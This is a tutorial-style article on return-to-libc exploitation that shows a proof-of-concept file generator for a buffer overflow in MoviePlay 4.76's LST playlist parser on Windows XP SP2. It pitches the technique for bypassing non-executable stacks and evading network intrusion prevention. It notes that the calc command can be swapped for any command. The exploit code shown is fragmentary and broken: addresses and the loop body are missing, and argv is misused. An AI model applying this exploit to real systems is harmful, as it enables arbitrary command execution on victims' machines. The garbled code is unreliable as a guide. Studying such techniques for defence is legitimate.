Stack-based buffer overflows use an executable stack to run code that has been injected into the stack. If the stack has been set as non-executable then jumping back into the stack will be useless as code injected into the stack will not get processed. Fortunately there is a way to get around this prevention mechanism known as Return to libc. Return to libc is also known as arc injection. In return to libc, standard shared C libraries are already loaded in the process address space which programs use, because of this it gives us the ability to jump any number of functions already in memory.
In order to abuse “return to libc” functionality all we need to do is overwrite the return address with a function address say system() and provide arguments needed for the function for the attack to be successful. When jumped to the function address the machine instructions for that function gets executed using the arguments we have placed on the stack. The benefit to this approach is that code injection is no longer needed but also argument size will be much smaller than a typical shellcode and thus a small buffer is sufficient for exploitation. Also in this type of attack the attacker does not need to have any shellcoding knowledge making it that much easier.
But why wait to use this method till all stacks become non executable? Why don’t we just start using it now? After all knowledge of shellcoding is no longer needed and our argument will be much smaller and easier to input and test. Another big factor is that network-based intrusion prevention systems will not detect any shellcode present and pass it through. Sure there is the issue of the function address of system() which might be different from version to version of the operating system but what’s new. Jump addresses also change between versions if obtained from the operating system. If however a jump address had been obtained from the vulnerable program itself at least then the exploit will be universal to that vulnerable program version but how often do we see jump addresses being used from the vulnerable program? The reason being jump addresses in the program are not available or just not reliable.
In the POC code below a buffer overflow vulnerability had been discovered in the MoviePlay program when parsing LST files. Before our system() function is called, the parameters of the function (our command to execute in this case) have to be pushed onto the stack.
FileName0=C:\ + [command + padding + return address + dummy return address + pointer to command]
int main(int argc, char *argv)
printf(“\nMoviePlay 4.76 Player playlist (LST) Buffer Overflow Exploit\n”);
if (argc < 2)
printf(“\nUsage: %s <playlistfilename>\n\n”, argv);
if ((poc = fopen(argv, “w”)) == NULL )
printf(“\n[-] Unable to create file\n\n”);
fputs(“cmd /C calc “, poc);
for (i=0; i<1041; i++)
// Return address system() XPSP2
// Fake return address for system(), exit() XPSP2
// Pointer to command
printf(“\n[+] File %s created\n\n”, argv);
The dummy return address is needed for the system() function which in this case points to the exit() function thus providing a clean exit without producing any crashes. The final part of our string is “pointer to command” points to our command string in the stack. This address can be easily obtained by examining our stack as shown in the screenshot. Our command can now be placed anywhere in the buffer so long our pointer to command points to the first letter of our command. In this POC the command only executes Windows calculator but any command string can be entered and is left to our imagination.